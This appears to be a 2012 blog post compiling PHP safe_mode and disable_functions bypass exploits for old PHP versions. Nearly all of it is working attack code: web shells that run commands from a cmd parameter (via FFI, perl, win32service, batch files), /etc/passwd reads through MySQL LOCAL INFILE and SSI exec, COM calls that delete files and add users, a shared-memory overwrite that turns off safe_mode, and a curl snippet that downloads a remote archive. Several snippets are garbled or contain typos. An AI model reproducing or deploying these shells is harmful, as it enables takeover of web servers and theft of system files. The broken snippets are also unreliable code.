abril 01, 2012
13:58

All Safe_mode Bypass Exploit

PHP <= 4.4.7 / 5.2.3 MySQL/MySQLi Safe Mode Bypass Vulnerability
Code:
<?php 
file_get_contents('/etc/passwd'); 
$l = mysql_connect("localhost", "root"); 
mysql_query("CREATE DATABASE a"); 
mysql_query("CREATE TABLE a.a (a varchar(1024))"); 
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'"); 
mysql_close($l); mysql_connect("localhost", "aaaa"); 
mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a"); 
$result = mysql_query("SELECT a FROM a.a"); 
while(list($row) = mysql_fetch_row($result)) 
print $row . chr(10); 
?>
MySQLi
Code:
<?php 
function r($fp, &$buf, $len, &$err) { 
print fread($fp, $len); 
} 
$m = new mysqli('localhost', 'aaaa', '', 'a'); 
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1); 
$m->set_local_infile_handler("r"); 
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a"); 
$m->close(); 
?>
PHP FFI Extension Safe_mode Bypass Exploit
Code:
<?php 
if(!extension_loaded('ffi')) 
die('ERROR: FFI extension is not loaded!'); 
$command=(empty($_GET['cmd']))?'dir':$_GET['cmd']; 
if(is_writeable(dirname(__FILE__)))$tmp=dirname(__  FILE__); 
elseif(is_writeable(ini_get('session.save_path')))   
$tmp=ini_get('session.save_path'); 
elseif(is_writeable(ini_get('upload_tmp_dir'))) 
$tmp=ini_get('upload_tmp_dir'); 
else die('ERROR: Move exploit to writeable folder.'); 
$output="$tmp\\".uniqid('NJ'); 
$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);"); 
$res=$api->WinExec("cmd.exe /c $command >\"$output\"",0); 
while(!file_exists($output))sleep(1); 
$con=''; 
$fp=fopen($output,'r'); 
while(!feof($fp))$con.=fgets($fp,1024); 
fclose($fp); 
$con=htmlspecialchars($con); 
echo "<pre>$con</pre>"; 
unlink($output); 
?>
 
 
PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
Code:
<?php 
//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass 
//author: shinnai 
//mail: shinnai[at]autistici[dot]org 
//site: http://shinnai.altervista.org 
//Tested on xp Pro sp2 full patched, worked both from the cli and on apache 
//Technical details: 
//ionCube version: 6.5 
//extension: ioncube_loader_win_5.2.dll (other may also be vulnerable) 
//url: www.ioncube.com 
//php.ini settings: 
//safe_mode = On 
//disable_functions = ioncube_read_file, readfile 
//Description: 
//This is useful to obtain juicy informations but also to retrieve source 
//code of php pages, password files, etc... you just need to change file path. 
//Anyway, don't worry, nobody will read your obfuscated code :) 
//greetz to: BlackLight for help me to understand better PHP 
//P.S. 
//This extension contains even an interesting ioncube_write_file function... 
if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required!"); 
$path = str_repeat("..\\", 20); 
$MyBoot_readfile = readfile($path."windows\\system.ini"); #just to be sure that I set correctely disable_function :) 
$MyBoot_ioncube = ioncube_read_file($path."boot.ini"); 
echo $MyBoot_readfile; 
echo "<br><br>ionCube output:<br><br>"; 
echo $MyBoot_ioncube; 
?>
PHP 5.x COM functions safe_mode and disable_function bypass
Code:
<?php 
//PHP 5.x COM functions safe_mode and disable_function bypass 
//author: shinnai 
//mail: shinnai[at]autistici[dot]org 
//site: http://shinnai.altervista.org 
//dork: intitle:phpinfo intext:"php version" +windows (thanks to rgod) 
//Tested on xp Pro sp2 full patched, worked both from the cli and on apache 
//from: http://www.phpfreaks.com/phpmanual/page/ref.com.html 
//Requirements: 
//COM functions are only available for the Windows version of PHP. 
//.Net support requires PHP 5 and the .Net runtime.  
//Installation: 
//There is no installation needed to use these functions; they are part of the PHP core. -> (sounds good) 
//The windows version of PHP has built in support for this extension. You do not need to 
//load any additional extension in order to use these functions. 
//You are responsible for installing support for the various COM objects that you intend 
//to use (such as MS Word); we don't and can't bundle all of those with PHP. 
//mmm... I don't know how many people use Apache and PHP on Windows servers but I suppose there are 
//a lot of users if PHP developers decide to implement COM functions as part of PHP core. 
//take a look here: intitle:phpinfo intext:"php version" +windows (thanks to rgod). 
//Anyway, I think they should take much care on security due to the fact that, through these 
//functions, you can seriously compromise a pc. 
//For remote execution you need (naturally) to use a server that is MS based, 
//e.g. Apache for win configured for working with PHP. 
//In this scenario, someone could upload a script and then use it to damnage the server. 
//Local execution simply bypass all Windows protections against execution of dangerous 
//COM objects (even kill-bit) due to the fact that the script is executed from a client that 
//does not check these settings. 
//php.ini settings: 
//safe_mode = On 
//disable_functions = com_load_typelib 
//open_basedir = htdocs 
//Remote execution requires that open_basedir is disabled 
$mPath = str_repeat("..\\",20); 
$compatUI = new COM('{0355854A-7F23-47E2-B7C3-97EE8DD42CD8}');    //this one uses compatUI.dll 
$compatUI->RunApplication("something", "notepad.exe", 1);    //to run notepad.exe 
$wscript = new COM('wscript.shell');                //this one uses wscript.exe 
$wscript->Run("cmd.exe /c calc.exe");                //to run calc.exe 
$FSO = new COM('Scripting.FileSystemObject');            //this one uses wshom.ocx 
$FSO->OpenTextFile($mPath."something.bat", 8, true);        //to create a batch file on server... yes,        //if you want you can write to this batch file :) 
$FSOdelFile = new COM('Scripting.FileSystemObject');        //this one uses wshom.ocx 
$FSOdelFile->DeleteFile($mPath."PathToFiles\\*.txt", True);    //to delete all files with txt extension 
$FSOdelFolder = new COM('Scripting.FileSystemObject');        //this one uses wshom.ocx 
$FSOdelFolder->DeleteFolder($mPath."FolderToDelete", True);    //to delete an entire folder 
$shgina = new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}');    //this one uses shgina.dll 
$shgina->Create("shinnai");                    //to add an user :) 
?>
PHP Perl Extension Safe_mode Bypass
Code:
<?php 
if(!extension_loaded('perl'))die('perl extension is not loaded'); 
if(!isset($_GET))$_GET=&$HTTP_GET_VARS; 
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls  '; 
$perl=new perl(); 
echo "<textarea rows='25' cols='75'>"; 
$perl->eval("system('".$_GET['cmd']."')"); 
echo "</textarea>"; 
$_GET['cmd']=htmlspecialchars($_GET['cmd']); 
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>" 
?>
PHP 5.x (win32service) Local Safe Mode Bypass Exploit
Code:
<?php 
$command=(isset($_GET['CMD']))?$_GET['CMD']:'dir'; #cammand 
$dir=ini_get('upload_tmp_dir'); #Directory to store command's output 
if(!extension_loaded('win32service'))die('win32ser  vice extension not found!'); 
$name=$dir."\\".uniqid('NJ'); 
$n=uniqid('NJ'); 
$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec']; 
win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\"")); 
win32_start_service($n); 
win32_stop_service($n); 
win32_delete_service($n); 
$exec=file_get_contents($name); 
unlink($name); 
echo "<pre>".htmlspecialchars($exec)."</pre>"; 
?>
PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass
Code:
<?php 
if (!extension_loaded("win32std")) die("win32std extension required!"); 
system("cmd.exe"); //just to be sure that protections work well 
win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe"); 
?>
PHP < 5.2.5 Safe mode Bypass
Code:
<?php 
########################## WwW.BugReport.ir ########################################### 
# 
#      AmnPardaz Security Research & Penetration Testing Group 
# 
# Title: PHP < 5.2.5 Safe mode Bypass 
# Vendor: http://www.php.net/ 
##################################################  ################################ 
?> 

<html dir="ltr"&gp; 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> 
<title>SAFE MODE BYPASS</title> 
<style type="text/css" media="screen"> 
body { 
    font-size: 10px; 
    font-family: verdana; 
} 
INPUT { 
    BORDER-TOP-WIDTH: 1px; FONT-WEIGHT: bold; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 10px; BORDER-LEFT-COLOR: #D50428; BACKGROUND: #590009; BORDER-BOTTOM-WIDTH: 1px; BORDER-BOTTOM-COLOR: #D50428; COLOR: #00ff00; BORDER-TOP-COLOR: #D50428; FONT-FAMILY: verdana; BORDER-RIGHT-WIDTH: 1px; BORDER-RIGHT-COLOR: #D50428 
} 
</style> 
</head> 
<body dir="ltr" alink="#00ff00"  bgcolor="#000000" link="#00c000" text="#008000" vlink="#00c000"> 
<form method="POST" enctype="multipart/form-data" action="?"> 
Enter The <A href='?info=1' > Target Path </A>:<BR><BR> 
<input type="text" name="target" value="<?php echo $_SERVER['DOCUMENT_ROOT']; ?>" size="50"><BR>*Target must be writeable!<BR><BR> 
File Content:<BR><BR> 
<input type="file" name="F1" size="50"><BR><BR> 
<input type="submit" name="Upload" value="Upload"> 
</form> 
<?php 
error_reporting(E_ALL ^ E_NOTICE); 

if(isset($_GET['info']) && $_GET['info'] == 1) 
{ 
    if (function_exists('posix_getpwuid')) 
    { 
        if (isset($_POST['f']) && isset($_POST['l'])) 
        { 
            $f = intval($_POST['f']); 
            $l = intval($_POST['l']); 
            while ($f < $l) 
            { 
                $uid = posix_getpwuid($f); 
                if ($uid) 
                { 
                    $uid["dir"] = "<a href=\"\">".$uid["dir"]."</a>"; 
                    echo join(":",$uid)."<br>"; 
                } 
                $f++; 
            } 
        } else 
        { 
            echo ' 
            <form method="POST" action="?info=1">Uid   
            FROM : <input type="text" name="f" value="1" size="4"> 
            TO : <input type="text" name="l" value="1000" size="4"> 
            <input type="submit" name="Show" value="Show">'; 
        } 
    } else die("Sorry! Posix Functions are disabled in your box, There is no way to obtain users path! You must enter it manually!"); 
    die(); 
} 

if(isset($_POST['Upload']) && isset($_POST['target']) && $_POST['target'] != "") 
{ 
    $MyUid   = getmyuid(); 
    $MyUname = get_current_user(); 
    if (function_exists('posix_geteuid')) 
    { 
        $HttpdUid   = posix_geteuid(); 
        $HttpdInfo  = posix_getpwuid($HttpdUid); 
        $HttpdUname = "(".$HttpdInfo['name'].")"; 
    } else 
    { 
        $NewScript = @fopen('bypass.php','w+'); 
        if (!$NewScript) 
        { 
            die('Make the Current directory Writeable (Chmod 777) and try again'); 
        } else  $HttpdUid = fileowner('bypass.php'); 
    } 

    if ($MyUid != $HttpdUid) 
    { 
        echo "This Script User ($MyUid) and httpd Process User ($HttpdUid) dont match!"; 
        echo " We Will create a copy of this Script with httpd User $HttpdUname 
        in current directory..."."<BR>"; 
        if (!$NewScript) 
        { 
            $NewScript = @fopen('bypass.php','w+'); 
            if (!$NewScript) 
            { 
                die('Make the Current directory Writeable (Chmod 777) and try again'); 
            } 
        } 
        $Temp = fopen(__FILE__ ,'r'); 
        while (!feof($Temp)) 
        { 
            $Buffer = fgets($Temp); 
            fwrite($NewScript,$Buffer); 
        } 
        fclose($Temp); 
        fclose($NewScript); 
        echo "Please Run <A href='bypass.php'> This </A> Script"; 
        die();     
    } 
     
    $TargetPath = trim($_POST['target']); 
    $TargetFile = tempnam($TargetPath,"BP"); 
    if (strstr($TargetFile, $TargetPath) == TRQE) 
    { 
        echo $TargetFile." Successfully created!<BR>"; 
    } else die("$TargetPath doesnt exist or is not writeable! choose another path!"); 

    if (move_uploaded_file($_FILES['F1']['tmp_name'], $TargetFile)) 
    { 
        echo "<BR>$TargetFile is valid, and was successfully uploaded."; 
    } else 
    { 
        die("<BR>$TargetFile Could not upload."); 
    } 
    chmod($TargetFile , 0777); 
} 

?>
PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
Code:
<!--p 
if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required!"); 
$path = str_repeat("..\", 20); 
$MyBoot_readfile = readfile($path."windowssystem.ini"); #just to be sure that I set correctely disable_function :) 
$MyBoot_ioncube = ioncube_read_file($path."boot.ini"); 
echo $MyBoot_readfile; 
echo " 
  
ionCube output: 
  
"; 
echo $MyBoot_ioncube; 
-->
PHP 5.2.6 error_log safe_mode bypass
Code:
[ SecurityReason.com PHP 5.2.6 error_log safe_mode bypass ] 

Author: Maksymilian Arciemowicz (cXIb8O3) 
securityreason.com 
Date: 
- - Written: 10.11.2008 
- - Public: 20.11.2008 

SecurityReason Research 
SecurityAlert Id: 57 

CWE: CWE-264 
SecurityRisk: Medium 

Affected Software: PHP 5.2.6 
Advisory URL: http://securityreason.com/achievement_securityalert/57 
Vendor: http://www.php.net 

- --- 0.Description --- 
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl  
with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web  
developers to write dynamically generated pages quickly. 

error_log 

They allow you to define your own error handling rules, as well as modify the way the errors can  
be logged. This allows you to change and enhance error reporting to suit your needs. 

- --- 0. error_log const. bypassed by php_admin_flag --- 
The main problem is between using safe_mode in global mode 

php.ini*: 
safe_mode = On 

and declaring via php_admin_flag 

<Directory "/www"> 
... 
    php_admin_flag safe_mode On 
</Directory> 

When we create some php script in /www/ and try call to: 

ini_set("error_log", "/hack/"); 

or in /www/.htaccess 

php_value error_log "/hack/bleh.php" 


Result: 

Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in Unknown on line 0 

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4 


It was for safe_mode declared in php.ini. But if we use 

php_admin_flag safe_mode On  

in httpd.conf, we will get only 

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4 

syntax in .htaccess 

php_value error_log "/hack/blehx.php" 

is allowed and bypass safe_mode. 

example exploit: 
error_log("<?php phpinfo(); ?>", 0); 

- --- 2. How to fix --- 
Fixed in CVS 

http://cvs.php.net/viewvc.cgi/php-src/NEWS?revision=1.2027.2.547.2.1315&view=markup 

Note: 
Do not use safe_mode as a main safety. 

 --- 3. Greets --- 
sp3x Infospec schain p_e_a pi3
PHP safe_mode bypass via proc_open() and custom environment
Code:
<!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array(  0--> array("pipe", "r"), 
 1 =&gt; array("file", $path."/output.txt","w"), 
 2 =&gt; array("file", $path."/errors.txt", "a" ) 
); 
$cwd = '.'; 
$env = array('LD_PRELOAD' =&gt; $path."/a.so"); 
$process = proc_open('id &gt; /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed 
sleep(1); 
$a=fopen($path."/.comm1","r"); 
echo "<strong>"; 
while (!feof($a)) 
{$b=fgets($a);echo $b;} 
fclose($a); 
?&gt;; 
</strong>
SSI exec Command Bypass
Code:
 <html> 
<body> 
<pre> 
<!--#exec cmd="pwd"--> 
&lp;br> 
<!--#exec cmd="cat /etc/passwd"--> 
<br> 
<!--#exec cmd="ls -la"--> 
</text> 
</pre> 
</body> 
</html>
PHP <= 5.2.9 Local Safemod bypass exploit (windows)
Code:
<? 
/* 
    Abysssec Inc Public Advisory  
     
    Here is another safemod bypass vulnerability exist in php <= 5.2.9 on windows . 
    the problem comes from OS behavior - implement  and interfacing between php 
    and operation systems directory structure . the problem is php won't tell difference  
    between directory browsing in linux and windows this can lead attacker to ability  
    execute his / her commands on targert machie even in SafeMod On  (php.ini setting) .  
    ==================================================  =========================== 
    in linux when you want open a directory for example php directory you need 
    to go to /usr/bin/php and you can't use \usr\bin\php . but windows won't tell 
    diffence between slash and back slash it means there is no didffrence  between  
    c:\php and c:/php , and this is not vulnerability but itself but  because of this  simple  
    php implement "\" character can escape safemode using  function like excec .  
    here is a PoC for discussed vulnerability . just upload files on your target host and execute 
    your commands .  
    ==================================================  ============================ 
    note : this vulnerabities is just for educational purpose and author will be not be responsible   
    for any damage using this vulnerabilty.  
    =================================================9  ============================ 
    for more information visit Abysssec.com 
    feel free to contact me at admin [at] abysssec.com 
*/ 
    $cmd = $_REQUEST['cmd']; 
    if ($cmd){ 
    $batch = fopen ("cmd.bat","w"); 
    fwrite($batch,"$cmd>abysssec.txt"."\r\n"); 
    fwrite($batch,"exit"); 
    fclose($batch); 
    exec("\start cmd.bat"); 
    echo "<center>"; 
    echo "<h1>Abysssec.com PHP <= 5.2.9 SafeMod Bypasser</h1>"; 
    echo "<textarea rows=20 cols=60>"; 
    require("abysssec.txt"); 
    echo "</textarea>"; 
    echo "</center>"; 
    } 
?> 

<html> 
<body bgcolor=#000000 and text=#DO0000> 
<center> 
<form method=post> 
<input type=text name=cmd > 
<input type=submit value=bypass> 
</form> 
</center> 
</body> 
</html>
Php <= 5.0.2 & 4.3.9 (
Code:
<? 
/* 
   Php Safe_mode Bypass Proof of concept. 

   Copyright 2004 Stefano Di Paola stefano.dipaola[at]wisec.it 

   Disclaimer: The author is not responsible of any damage this script can cause 

*/ 

 $shm_id = shmop_open(0xff2, "c", 0644, 100); 
  if (!$shm_id) { 
    echo "Couldn't create shared memory segment\n"; 
    die; 
 } 

// $data="\x01"; 
// the new value for safe_mode 
 $data="\x00"; 

// this (-3842685) is my offset to reach core_globals.safe_mode 
// taken with gdb. (0x40688d83) 
 $offset=-3842685; 
// Lets write the new value at our offset. 
$shm_bytes_written = shmop_write($shm_id, $data, $offset ); 
if ($shm_bytes_written != strlen($data)) { 
   echo "Couldn't write the entire length of data\n"; 
} 

//Now lets delete the block and close the shared memory segment 
if (!shmop_delete($shm_id)) { 
   echo "Couldn't mark shared memory block for deletion."; 
} 
shmop_close($shm_id); 

// Let's try if safe mode has been set to off 
echo passthru("id"); 
dl("shmop.so"); 
?>
Disable Function Wget Bypass - Eval Code
Code:
$curl = curl_init("http://www.siten.com/dosyaniz.tar.gz"); 
curl_setopt($curl, CURLOPT_HEADER, false); 
curl_setopt($curl, CURLOPT_VERBOSE, false); 
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 
$output = curl_exec($curl); 
curl_close($curl); 
$dosya = fopen("dosyaniz.tar.gz", "a+"); 
fwrite($dksya, $output); 
fclose($dosya);